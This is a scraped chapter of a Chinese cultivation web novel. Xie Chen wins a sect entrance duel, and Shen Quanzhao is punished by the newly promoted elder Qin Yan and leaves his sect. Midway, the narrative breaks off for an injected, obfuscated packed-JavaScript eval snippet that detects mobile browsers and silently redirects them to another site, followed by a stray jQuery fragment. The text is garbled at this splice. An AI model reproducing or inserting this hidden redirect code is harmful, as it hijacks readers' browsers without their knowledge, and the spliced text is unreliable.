天衡宗主峰云雾缭绕，山腰上一处宽阔的广场内早已人声鼎沸。


    来自五湖四海的参选者不论身份长幼皆聚于此，只听广场中央的令鼓一阵清响，一天衡宗修士朗声宣道：


    “本次入门选拔，以抽签分组，凡参选者皆于襟前佩红梅一朵。赛台上以挑落对手梅花者为胜，不得伤人性命。”


    话音落下，数名弟子捧着签筒及盛梅花的托盘，按次逐一分发。


    谢沉站在队列里，神色比平日沉静许多。双手将递来的红梅接过了，道了一声多谢，将梅花用灵力固定在襟前。


    广场另一头的高楼之上，司流舟负手而立，衣袍被山风吹起一角。


    他的目光缓缓扫过下方参加选拔的人群，最终，落在了谢沉身上。


    “果然来了。”司流舟唇角勾起一丝极淡的笑意。


    先前他得知苏棠漪藏身的那处院落后，隔日曾悄然探访过一次，不料院中早已人去楼空。


    好在他本也没打算贸然出手，毕竟那院子的主人能一剑结果了原禁军统领的性命，可见绝非等闲之辈，若真要正面交锋，胜负尚未可知。


    但院主人身边，还跟了一个半大的少年，倘若他是苏棠漪，必然会选择附身于这少年身上。


    擂台上，对决早已经开始。


    谢沉抽到的签号有些靠后，半数人的结果已有了分晓。


    他被点名踏上擂台时，众人见他年纪尚轻，对上的又是一小门派的少门主，不由预感这场对决的胜负恐怕已有了分晓。


    那被称为少门主的青年一身玄色法衣流光溢彩，年纪比谢沉长上不少，自持从小修行，又有父母给的门中宝物，上下打量了谢沉一眼，眼中闪过一丝轻慢。


    竟是起手便毫不留情，剑气骤起，直朝谢沉面门袭去。


    擂台下顿时一阵低低的惊呼。


    毕竟按规则只需挑下对手襟上梅花，青年面对比自己小那么多的对手，如此起手，未免太不留情面。


    谢沉却并未退避。


    他按沈泉照教过的步法错身而行，留光剑上的剑气收敛，却以一技借力轻巧将对方的攻势卸开。


    眨眼间，两人已连过数招，青年脸色已然变了。


    他没想到，这个看起来年纪尚轻的谢沉，面对他引以为傲的剑招，竟能如此从容。


    心神一乱，破绽顿生。


    谢沉趁势逼近，剑锋已逼至对方胸前红梅，眼看便要挑落。


    就在这时，人群中忽有寒光一闪。


    一枚淬着毒物的暗器破风而来，角度刁钻，直取谢沉后颈。


    谢沉只觉得后方一股森然杀意骤然逼近，尚未来得及回身，体内灵息却已自行涌动。


    那一瞬，他甚至来不及分辨是本能，还是别的什么，留光剑已反手挥出。


    剑锋掠过，带起一抹朱红的火光。


    “叮——”暗器被利落挑落，坠在擂台上，滚了两圈，来到了青年的脚边。


    看台首座上，负责主持此次选拔的右护法荀飞梁眼底闪过一丝兴味。


    原本这类入门选拔，他已看过太多，翻来覆去无非是些资质尚可、心性未定的年轻修士，胜负如何，往往一眼便知。


    直到谢沉方才出的那一剑。


    他问身旁随侍的童子：“那少年叫什么名字？”


    那童子连忙答道：“回护法，名曰谢沉。”


    荀飞梁将高几上的名册翻开，放眼一扫，很快便落在“谢沉”二字上，眉梢随之轻轻一挑：“极品水灵根？”


    方才谢沉那一剑，他看得清清楚楚：剑气之中，分明掠过一瞬炽烈的火意。


    水火相克，本是修行界的常识。


    可那少年出剑之时，灵息运转却异常顺畅，火意只是一闪即敛，既未伤身，也未乱势。


    荀飞梁的指尖在名册边缘轻轻一敲。


    世间确有极少数天才，能在主灵根之外，兼修他系法术。


    只是这样的人，往往百年难得一见。


    他自斟了一盏酒饮下，目光却仍停留在擂台上的谢沉身上，唇角勾起一丝几不可察的弧度：“倒是有趣。”


    与此同时，两名天衡宗执法弟子自高处飞掠而出：“放肆！”


    人群中尚未来得及退避的一名修士被当场锁定，尚未反应过来，已被两把当空落下的飞剑压制在地。


    周遭人群哗然，纷纷朝两侧退避。


    那人面色煞白，尚欲辩解，执法弟子已冷声宣判：“干扰选拔，暗施暗器，永绝入宗资格，即刻逐下山！”


    擂台之上，谢沉却全然没顾台下发生的一切，留光剑直挑而出，正是此前在泉边不知练了千百回的第一式。


    剑气自留光剑锋无声荡开，绽开五色光芒。


    青年眼见剑势难挡，下意识朝后退去，脚下一磕，原已来到了擂台边缘。


    他的心脏狂跳，仓皇提剑，却见谢沉神色从容还剑入鞘。


    青年的眼睛略微睁大，缓缓低头看去，只见襟前的红梅花竟不知何时被剑气扫落，旋转着落到了擂台中央——


    胜负已分。


    短暂的静默之后，广场上骤然爆发出掌声与喝彩：


    “好身手！”


    “漂亮！”


    “稳得住心神，小小年纪竟有这般定力！”


    高台之上，荀飞梁一抬手，示意场中安静：


    “此场，谢沉获胜。”


    且说沈泉照施幻形术后，便混在人流中进了天衡宗。


    他趁诸位长老及护法皆在擂台前，悄然顺着灵盘的指引来到了另一处更为陡峭险峻的山峰上。


    映入眼帘的是一处恢弘华美宫宇，隔墙可见其内飞楼绣阁，仙葩佳木，显然并非寻常居所。


    沈泉照细细观察，院墙各处皆设有繁复的防护阵法，正思量如何悄然潜入，袖中的传音卷轴忽然一阵强烈的颤动。


    他心中有股不好的预感，至隐蔽处拉开卷轴，果然与以往简单的传音不同，这一回，清霄宗云木峰大殿赫然在目。


    殿中立着数名内门弟子，为首之人一袭崭新的长老法袍，不是别人，正是秦砚。


    沈泉照微微一怔：“大师兄？”


    秦砚闻言笑了笑，那笑意却未达眼底：“尊卑有序。我已升至元婴，沈师弟，如今该唤我一声长老了。”


    那一瞬，沈泉照心口像是被什么东西轻轻一撞。


    秦砚升至了元婴，也就意味着……那枚由谢沉的父母炼制的化婴丹，已被秦砚服下。


    沈泉照垂下眼，良久，才低声道：“……见过秦长老。”


    秦砚的目光在他的脸上停留片刻，对他这一声勉强的称呼似有不悦，却终究没有发作，抬手止住了身旁欲出言的内门弟子，淡淡道：


    “门中失窃宝物之事，师弟你查得如何了？”


    沈泉照指尖微紧。此前在山岭中，曾有清霄宗的门人现身，追踪他与谢沉。


    与其说是巧合，倒不如说是有人授意下的监视。


    “已有线索。”沈泉照沉声道，“失窃的法镜，极有可能就在天衡宗内部。只需再给我几日——”


    “天衡宗”三字出口时，秦砚的神色骤然一冷，截口道：


    “这么说，就是还没找到了。一连数月过去，沈师弟你身为首席弟子，不做出表率也就算了，当宗门是什么地方，会纵容你恣意行事？”


    “即刻回宗。”秦砚一锤定音，“领罚。”


    沈泉照低头看向掌中的灵盘，指针仍稳稳指着眼前的宫宇。


    或许只要再进一步，便能查清一切。


    然而，此处的法阵重重，贸然闯入，风险极大。


    他终是收起灵盘：“我明白了。”


    沈泉照连夜御剑，抵达清霄宗时，已过了三更。


    天边浓云蔽月，主殿内仍是灯火通明。


    秦砚居最上主座，数名素与秦砚往来密切的内门弟子分立两侧，气氛肃然。


    见沈泉照进殿，秦砚唇角缓缓露出一丝笑意：


    “沈师弟，师尊仍在闭关，云木峰内事务如今皆由我这位新晋长老负责。你既按令归宗，想来也是知错。念你并非有意失职，我等商议过后，决计给你两个选择：


    一者，闭关思过十年，不得踏出宗内洞府半步。


    二者，封印灵力三年，以示惩戒。”


    闭关十年，虽可不妨修行，但沈泉照想起与谢沉的三年之约，抬起头来，平静道：“我选第二条。”


    秦砚眼中笑意一闪，甚至不曾多问一句缘由，便已点头。


    当即有人送来一软垫放至沈泉照身前。沈泉照看那软垫片刻，跪了下来。


    秦砚催动了一张早已写好的惩戒符文，一道血色的咒印自虚空浮现，如锁链一般缠上沈泉照的右臂。


    咒印落下的那一刻，沈泉照闷哼了一声。


    经脉中流淌的灵力仿佛被什么强行封死，他只觉右臂一阵火烤般的灼痛，小臂浮现出一道森然的清霄宗惩戒咒印。


    术法已毕。


    沈泉照试着屈指，右手却毫无知觉。


    不只是周身灵力无法运转，连整条右臂的行动，也被一并被剥夺，意味着他整整三年内不能用剑握笔。


    他的脸色一变，意识到惩戒术已被暗中做了改动。抬头看向殿中诸位师兄弟，却无一人面露惊讶之色。


    原来如此。


    所有人都知道，唯独他是最后一个。


    沈泉照喉咙发紧，一阵说不出的屈辱与寒意顺着脊背攀上来。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17078955|195299||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    他忽然笑了一下：“既然师尊尚在闭关，我有一事，想求长老应允。”


    这时，殿外忽有人喊道：“泉照师兄！”


    是林昭闻讯赶来，粗喘着气，声音发颤，看到跪地的沈泉照，眼眶一红，奔向前去想要扶他起来。


    沈泉照朝她摇头，用眼神示意她稍安勿躁。


    林昭见这满屋都是秦砚一派的人，眼神冷了下来，朝秦砚一礼，默默退至了后方。


    秦砚看着昔日最受师尊偏爱的沈泉照如今这副模样，不由笑道：“师弟这么说，倒显得与我分生了。不知是什么事？”


    沈泉照沉声道：“请长老准我在惩戒期满后，脱离清霄宗，做一散修，自此与清霄宗……再无瓜葛。”


    此言一出，殿中一阵骚动。不少人纷纷朝秦砚看去。


    林昭惊道：“泉照师兄！你这又是何必？只要罚期一过，你仍是首席弟子，仍是我的师兄——”


    沈泉照没有回头看她。


    秦砚却已缓缓起身，眼中快意难掩，却仍摆出一副宽厚姿态：“此事事关重大，原需请示师尊。只是沈师弟向来行事稳重，莫非当真心意已决？”


    沈泉照目光清明：“自然。”


    秦砚连连点头，语气温和得近乎仁慈：“既如此，今日诸位皆听到了。我这做长老的，也只好成人之美了。”


    沈泉照朝着殿内供奉的师祖与历代宗主画像，郑重叩首三下。


    这一拜，拜的是师尊教导之恩，与他曾真心相信过的同门之谊。


    起身后，他头也不回离开了清霄宗。


    他来时御剑而行，千里之行不过半日；去时却只能循着山道，步行下山。


    所幸如今已是五月，严寒已过，山路也比积雪时好走了不少。


    三个月后，中秋将近，天衡宗内处处丹桂飘香。


    谢沉作为新晋外门弟子，因平日修行刻苦、行事负责，赢得了首次随师兄师姐出宗历练的机会。


    据说，晏国王都附近的山岭近来妖物作乱，已有数名行路人惨死妖口。


    天衡宗接下这桩案子，派他们三人前来除妖。


    谢沉心中隐隐觉得奇怪：曾经沈泉照曾教导他，修行中人，切不可伤害凡人，但平日里，也不宜和凡人走得过近，以免沾染因果。为何天衡宗此番却要接手这桩案子？


    可他资历尚浅，心里又总觉得自己在天衡宗，不过是个暂居之客，到底没有开口询问，只跟着师兄师姐默默随行。


    一行人循着报案人描述的方位，进入山岭。


    山间地势险峻，道旁便是峭壁，四周草木葱郁，遮天蔽日。


    谢沉一路仔细观察，估摸着此地应与他和沈泉照曾经修行的山泉不算太远。


    沿途，他们遇见了几拨背着药篓上山采药的凡人队伍，有老有少，却个个面色灰败、眼神空洞，似乎被掏干了精气神。


    “那些是朱家养的药奴。”师姐许清筠一双凌厉的丹凤眼，素日不苟言笑，低声解释，语气冷淡，“晏王都的大户人家，多养着这样的奴仆们，视作私人财产。”


    谢沉远远望着那批药奴的背影，忽然意识到他们此行，与其说是为死者讨个公道，不如说，是替晏国的权贵清理“财产损失”。


    转眼夕阳西下，漫天霞光染红了群山。


    三人依着残留的妖气一路前行，资历最长的师兄程川脸型方正，做事沉稳，按随身百妖谱推断，作乱的应是一只修得人形的黄鼬精。


    程川当即布下擒妖阵法，与谢沉及许清筠一道伏于灌木丛中，将身上的灵息隐至最低，静候入夜后黄鼬精出来活动。


    山林渐暗，周遭虫鸣四起。


    忽然，一阵急促的马蹄声自前方山径传来。


    谢沉下意识抬头望去。


    只见山道上迎面来了一匹青骢马，马上的男人一袭青衣，身姿挺拔，只是被帏帽遮住了面容。


    谢沉的心口猛地一跳：太像了，就算说是沈泉照骑马而来，他也不会有丝毫惊讶。


    可下一刻，他又皱起眉来。


    那人身上，竟感受不到半点灵息波动，仿佛只是个寻常凡人。


    正疑惑间，一声尖锐的啸声骤然撕裂暮色。


    倏而林木震动，一道黑影自暗处暴起，直扑山道上的骑马之人！


    青骢马哪里见过这样的场景，受惊之下前蹄奋力高扬，仰首嘶鸣。


    说时迟那时快，程川厉喝一声，手中法诀猛然变换，预先布置好的阵网骤然合拢，一片灵光骤闪，将那黄鼬精生生困在了半空。


    与此同时，那青衣人已顺势翻身下马，帏帽的薄纱被山风掀起。


    谢沉猛地站起身来，纱下的那张脸，他再熟悉不过——


    正是沈泉照。